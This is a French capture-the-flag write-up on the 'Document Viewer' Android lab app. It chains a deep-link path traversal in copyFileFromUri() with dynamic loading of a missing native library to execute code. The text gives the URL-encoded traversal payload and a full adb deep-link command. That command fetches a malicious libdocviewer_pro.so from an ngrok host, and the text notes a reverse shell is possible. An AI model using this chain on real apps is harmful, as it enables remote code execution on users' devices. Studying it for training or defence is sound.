Objectif

Exécuter du code à distance en combinant des vulnérabilités de path traversal et de chargement dynamique de code.

Outil

• Jadx – https://github.com/skylot/jadx
• ADB – https://developer.android.com/tools/adb?hl=fr
• MobSF – https://github.com/MobSF/Mobile-Security-Framework-MobSF
• apktool – https://apktool.org/
• ALC (Android Lib Compilator – https://github.com/rsenet/alc (optionnel)
• ngrok – https://ngrok.com/ (optionnel)

Installation

Pour commencer, nous allons installer l’application sur un périphérique virtuel (bien que cela fonctionne également avec les périphériques physiques), le tout grâce à ADB :

$ adb install com.mobilehackinglab.documentviewer.apk
Performing Streamed Install
Success

L’application est installée avec succès et se lance parfaitement :

Commençons l’analyse !

Fichier AndroidManifest.xml

Voici le fichier AndroidManifest.xml de l’application Document Viewer :

Il est possible d’identifier une activity exportée, c’est-à-dire accessible par d’autres applications du système. Il s’agit de l’activity com.mobilehackinglab.documentviewer.MainActivity qui sera lancée par défaut quand l’utilisateur clique sur l’icône de l’application.

Il est possible de déclencher cette activity via des URI de type file://, http:// ainsi que https:// aussi appelées deep links.

Pour rappel, les deep links (Android >= 6.0) sont des URI conçues pour s’ouvrir directement dans une application mobile, guidant les utilisateurs vers un contenu ou une action spécifique sans passer par l’écran d’accueil de l’application.

<data android:mimeType= »application/pdf »/> permet d’indiquer au système Android que cette activité peut gérer des intents dont le type MIME est application/pdf, c’est-à-dire, lorsqu’une application souhaite ouvrir un fichier au format PDF via un Intent ayant ce type MIME, Android proposera cette activité comme candidate.

Analyse des logs

Avoir de la visibilité sur les logs de l’application (via adb logcat) au cours de son analyse dynamique reste une bonne pratique. En effet, il arrive fréquemment que les logs soient particulièrement verbeux ou qu’ils permettent d’identifier les fonctions appelées par l’application :

Ici, le message présent dans les logs (Unable to load library with Pro version features) se retrouve au sein de la fonction loadProLibrary() dans notre MainActivity :

L’erreur semble provenir de la librairie libdocviewer_pro.so impossible à charger via la fonction System.load(). En effet, après analyse du contenu de l’APK (apktool d com.mobilehackinglab.documentviewer.apk), il apparait que cette dernière est manquante.

Analyse du code source

Au sein du code source du MainActivity, la fonction handleIntent() est appelée ligne 69 lors du onCreate(). Cette dernière fait appel à la fonction copyFileFromUri() de la classe CopyUtil (ligne 211) si l’action de l’intent est android.intent.action.VIEW (ligne 210). Elle prend en paramètre l’URI de l’intent (ligne 209) :

La fonction copyFileFromUri() est présente au sein du fichier com.mobilehackinglab.documentviewer.CopyUtil :

Cette dernière met en avant plusieurs mauvaises pratiques en termes de sécurité :

• Aucune vérification au niveau du type de fichier envoyé pouvant permettre l’envoi de fichiers malveillants
• Aucune vérification au niveau du nom pouvant permettre un écrasement de fichier
• Aucun contrôle sur l’emplacement final du fichier. En effet, la fonction getLastPathSegment() retourne le segment décodé pouvant ainsi permettre d’exploiter une vulnérabilité de type path traversal.
  

En mettant bout à bout l’ensemble de ces éléments, il est alors possible d’imaginer un scénario répondant à l’objectif initial du challenge, à savoir, exécuter du code à distance en combinant des vulnérabilités de type path traversal et de chargement dynamique de code en venant ajouter ces librairies manquante.

Ainsi, si on tente de charger le fichier ..%2f..%2f..%2f..%2f..%2fdata%2fuser%2f0%2fcom.mobilehackinglab.documentviewer%2ffiles%2fnative-libraries%2farm64-v8a%2flibdocviewer_pro.so depuis un site distant, alors cette librairie sera téléchargée et rajoutée dans le dossier lib/arm64-v8a. En effet, la fonction getLastPathSegment() décodera ..%2f en ../ permettant ainsi d’exploiter le path traversal et ainsi ajouter le fichier à un emplacement arbitraire. Un relancement de l’application devrait alors charger la librairie et en exécuter le code !

Le ‘arm64-v8a’ au sein du fichier provient de la commande adb shell getprop ro.product.cpu.abilist

Développement d’une librairie malveillante

Maintenant que l’on a le scénario d’attaque, il ne reste plus qu’à écrire cette librairie malveillante, la compiler puis la rendre téléchargeable, tout un programme.

Le développement de librairie n’étant clairement pas mon domaine de prédilection, j’avoue avoir demandé à ChatGPT de m’aiguiller un peu sur cette partie en lui demandant un code d’une librairie Java/Kotlin via du code natif C permettant de créer un fichier orhus.txt dans le répertoire /data/user/0/com.mobilehackinglab.documentviewer/ :

La fonction JNI_OnLoad()  est appelée automatiquement par la JVM Android dès que la bibliothèque est chargée avec System.loadLibrary() dans Java/Kotlin. Par la suite, un simple appel à la fonction system() pour créer le document orhus.txt dans le dossier de l’application. Il serait bien sur possible d’afficher un log, d’ouvrir un reverse shell ou bien d’autre choses. Tout est question de contexte et de permission.

Il ne reste plus qu’à compiler le code grâce au conteneur Android Lib Compilator afin d’obtenir le fichier au format .so tant convoité et le mettre à disposition via grâce à un serveur python local :

Pour plus de simplicité, nous rendons temporairement l’URL publiquement accessible via ngrok :

Il ne reste plus qu’à faire exécuter notre deep links via la commande complète : adb shell am start -a android.intent.action.VIEW -n com.mobilehackinglab.documentviewer/.MainActivity -d « https:// 4361b84cc5f2.ngrok-free.app/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Farm64-v8a%2Flibdocviewer_pro.so » :

La librairie est correctement chargée et notre payload s’exécute, créant ainsi le fichier orhus.txt.